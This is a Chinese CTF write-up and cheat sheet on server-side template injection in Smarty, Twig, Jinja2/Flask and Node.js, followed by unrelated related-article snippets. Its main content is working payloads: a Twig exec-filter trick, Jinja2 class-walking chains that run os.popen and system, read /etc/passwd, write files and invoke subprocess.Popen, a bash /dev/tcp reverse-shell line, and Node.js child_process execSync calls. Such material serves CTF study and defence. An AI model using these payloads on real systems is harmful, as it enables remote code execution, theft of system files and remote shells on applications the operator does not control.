{7*7} ->49 -> smarty

{{7*'7'}} -> 49 -> twig

{{7*'7'}} -> 7777777 -> jinjia2

1. [BJDCTF2020]Cookie is so stable1(smarty模板)

尝试输入数据,结果就是输入什么就回显什么

有两个包,第一个为session赋值,第二的请求页面

尝试{{7*8}}发现有ssti

尝试X-Forwarded-For: {{system("ls")}} {php}phpinfo();{/php} {if phpinfo()}{/if}失败

利用TWIG 全版本通用 SSTI payloads成功

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}            //id是执行linux命令的地方,这个payload好像只能回显最前面的一个
payload:

user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat ../../../flag|tr '\n' ','")}}

2. [WesternCTF2018]shrine1(flask模板jinjia2框架)

import flask
import os app = flask.Flask(__name__)
//app.config保存这个app的所有配置变量
app.config['FLAG'] = os.environ.pop('FLAG')
//注册了一个名为FLAG的config,猜测这就是flag, 如果没有过滤可以直接{{config}}即可查看所有app.config内容 @app.route('/')
def index():
return open(__file__).read() @app.route('/shrine/')
def shrine(shrine): def safe_jinja(s):
s = s.replace('(', '').replace(')', '')//转义括号
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
//上面这行代码把黑名单的东西遍历并设为空
return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__':
app.run(debug=True)

原理

render_template默认会对{{}}里的语句进行转义,

当我们把render_template 换成render_template_string后,并对参数不进行处理,就会发生ssti注入

{% set x= 'abcd' %}  声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %}  条件语句

__class__ 返回类型所属的对象
__mro__返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析,这里也就是class返回的对象所属的类。
__base__返回该对象所继承的基类,这里也就是class返回的对象所属的类。
__subclasses__返回基类中的所有子类,每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__globals__对包含函数全局变量的字典的引用,里面包括
get_flashed_messages() 返回在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)

[].__class__.__base__.__subclasses__()

<type 'list'> <type 'object'>

''.__class__.__mro__[2].__subclasses__()

<type 'str'> <type 'object'>

().__class__.__bases__[0].__subclasses__()

<type 'tuple'> <type 'object'>

{}.__class__.__mro__[1].__subclasses__()

(<class 'dict'>, <class 'object'>)

{{config.__class__.__init__.__globals__[%27os%27].popen(%27ls%27).read()}}

40<type 'file'>

文件读写:

''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
#写文件

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

71 <class ‘site._Printer’>

内含os模块的类

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()

反弹shell

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()

59 <class ‘warnings.catch_warnings’>
不含os模块的类
# eval

{% print([].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')) %}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

#__import__

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('ls')}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

258 <class 'subprocess.Popen'>

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

{{()[request.args.a][request.args.b]}}&a=__class__&b=__base__

更多  https://blog.csdn.net/miuzzx/article/details/110220425

python还有一些内置函数,比如url_for和get_flashed_messages
/shrine/{{url_for.__globals__}}可以查看查看所有全局变量

看到current_app意思应该是当前app,那我们就当前app下的config:
/shrine/{{url_for.__globals__['current_app'].config}}

3.[DASCTF X CBCTF 2022九月挑战赛]Text Reverser

发现{{}}被过滤了,利用{% print([].__class__.__base__.__subclasses__()) %}绕过

nodejs

eval={{ " ".toString.constructor("return global.process.mainModule.constructor._load('child_process').execSync('cat fl00g.txt').toString()")() }}
 
?eval=require("child_process").execSync("ls")
?eval=require("child_process").execFileSync("ls")
?eval=require("child_process").spawnSync("ls").stdout.toString()
?eval=global.process.mainModule.constructor._load('child_process').execSync('ls')
require("fs").readdirSync(".")
require("fs").readFileSync("fl001g.txt")

 

require('child_process').exec('calc')

global.process.mainModule.constructor._load('child_process').exec('calc')
global.process.mainModule.require('child_process').exec('calc')

周练7(ssti)的更多相关文章

  1. 牛客算法周周练20 F.紫魔法师 (二分图染色)

    题意:给你一张图,对其染色,使得相连的点的颜色两两不同求,最少使用多少种颜色. 题解:首先,若\(n=1\),只需要一种.然后我们再去判断是否是二分图,对于二分图,两种颜色就够了,若不是二分图,也就是 ...

  2. 重磅︱文本挖掘深度学习之word2vec的R语言实现

    每每以为攀得众山小,可.每每又切实来到起点,大牛们,缓缓脚步来俺笔记葩分享一下吧,please~ --------------------------- 笔者寄语:2013年末,Google发布的 w ...

  3. 001-电脑操作规范-2019年03月.doc

    001-电脑操作规范-2019年03月.doc   本文作者:徐晓亮 BoAi 作者腾讯QQ号码:595076941   /////////////////////////////////////// ...

  4. NOIP2018 20天训练

    Day 0 2018.10.20 其实写的时候已经是Day 1了--(凌晨两点) 终于停课了,爽啊 get树状数组+线段树(延迟标记) 洛谷:提高组所有nlogn模板+每日一道搜索题(基本的图的遍历题 ...

  5. 20165325 2017-2018-2《Java程序设计》课程总结

    20165325 2017-2018-2<Java程序设计>课程总结 一.每周作业链接汇总 1.预备作业一:我期待的师生关系 20165325 期望的师生关系 简要内容: 我心中的好老师 ...

  6. P1434 [SHOI2002]滑雪 dfs

    题目描述 Michael喜欢滑雪.这并不奇怪,因为滑雪的确很刺激.可是为了获得速度,滑的区域必须向下倾斜,而且当你滑到坡底,你不得不再次走上坡或者等待升降机来载你.Michael想知道在一个区域中最长 ...

  7. 喊山 BFS

    一个山头呼喊的声音可以被临近的山头同时听到.题目假设每个山头最多有两个能听到它的临近山头.给定任意一个发出原始信号的山头,本题请你找出这个信号最远能传达到的地方. 输入格式: 输入第一行给出3个正整数 ...

  8. IT帮2019年2月线下活动【定义工作,解读自我】之站桩练习

    2019年2月IT帮线下活动[定义工作,解读自我] 昨天的活动收获很大,全面的总结周老师会另写一篇来帮助大家回顾.我想说一下其中最打动我的一句话:“只有你能决定你有多优秀!” “工作中把自己当成企业家 ...

  9. word2vec词向量训练及中文文本类似度计算

    本文是讲述怎样使用word2vec的基础教程.文章比較基础,希望对你有所帮助! 官网C语言下载地址:http://word2vec.googlecode.com/svn/trunk/ 官网Python ...

  10. 20210717 noip18

    考前 从小饭桌出来正好遇到雨下到最大,有伞但还是湿透了 路上看到一个猛男搏击暴风雨 到了机房收拾了半天才开始考试 ys 他们小饭桌十分明智地在小饭桌看题,雨下小了才来 考场 状态很差. 开题,一点想法 ...

随机推荐

  1. STL list容器API

    list容器:链表容器,不支持随机遍历.不能用通用的sort算法(要有随机访问迭代器),容器自己有排序算法 #define _CRT_SECURE_NO_WARNINGS #include<io ...

  2. [编程基础] Python装饰器入门总结

    Python装饰器教程展示了如何在Python中使用装饰器基本功能. 文章目录 1 使用教程 1.1 Python装饰器简单示例 1.2 带@符号的Python装饰器 1.3 用参数修饰函数 1.4 ...

  3. [MySQL] 索引的使用、SQL语句优化策略

    目录 索引 什么是索引 索引的创建与删除 创建索引 删除索引 索引的使用 使用explain分析SQL语句 最佳左前缀 索引覆盖 避免对索引列进行额外运算 SQL语句优化 小表驱动大表 索引 什么是索 ...

  4. Hadoop详解(09) - Hadoop新特性

    Hadoop详解(09) - Hadoop新特性 Hadoop2.x新特性 远程主机之间的文件复制 scp实现两个远程主机之间的文件复制 推 push:scp -r hello.txt root@ha ...

  5. 一文了解华为FusionInsight MRS HBase的集群隔离方案RSGroup

    摘要: RSGroup是集群隔离方案. 本文分享自华为云社区<华为FusionInsight MRS HBase的集群隔离--RSGroup>,作者: MissAverage. 一.HBa ...

  6. Redis 数据结构-简单动态字符串

    Redis 数据结构-简单动态字符串 无边落木萧萧下,不尽长江滚滚来. 1.简介 Redis 之所以快主要得益于它的数据结构.操作内存数据库.单线程和多路 I/O 复用模型,进一步窥探下它常见的五种基 ...

  7. 靶机练习 - 温故知新 - Toppo(sudo 提权)

    重新做了一下以前做过的第一个靶机(https://www.cnblogs.com/sallyzhang/p/12792042.html),这个靶机主要是练习sudo提权,当时不会也没理解. 开启靶机, ...

  8. P5687 [CSP-S2019 江西] 网格图

    题面 给定一个 \(n\times m\) 的网格图,行从 \(1\sim n\) 编号,列从 \(1\sim m\) 编号,每个点可用它所在的行编号 \(r\) 与所在的列编号 \(c\) 表示为 ...

  9. java入门与进阶-P1.5+P1.6

    输入 Scanner输入语句介绍 java.util.Scanner 是 Java5 的新特征,我们可以通过 Scanner 类来获取用户的输入. 下面是创建 Scanner 对象的基本语法: Sca ...

  10. 虚拟DOM中给同一层级的元素设置固定且唯一的key为什么能提高性能

    一.文字 key让React知道,当前新生成的React元素中的元素,是否能在之前生成的React元素中找到对应的.如果有,那么直接拿过来用就行了.假设列表头部插入一项,通过比对,React知道除了头 ...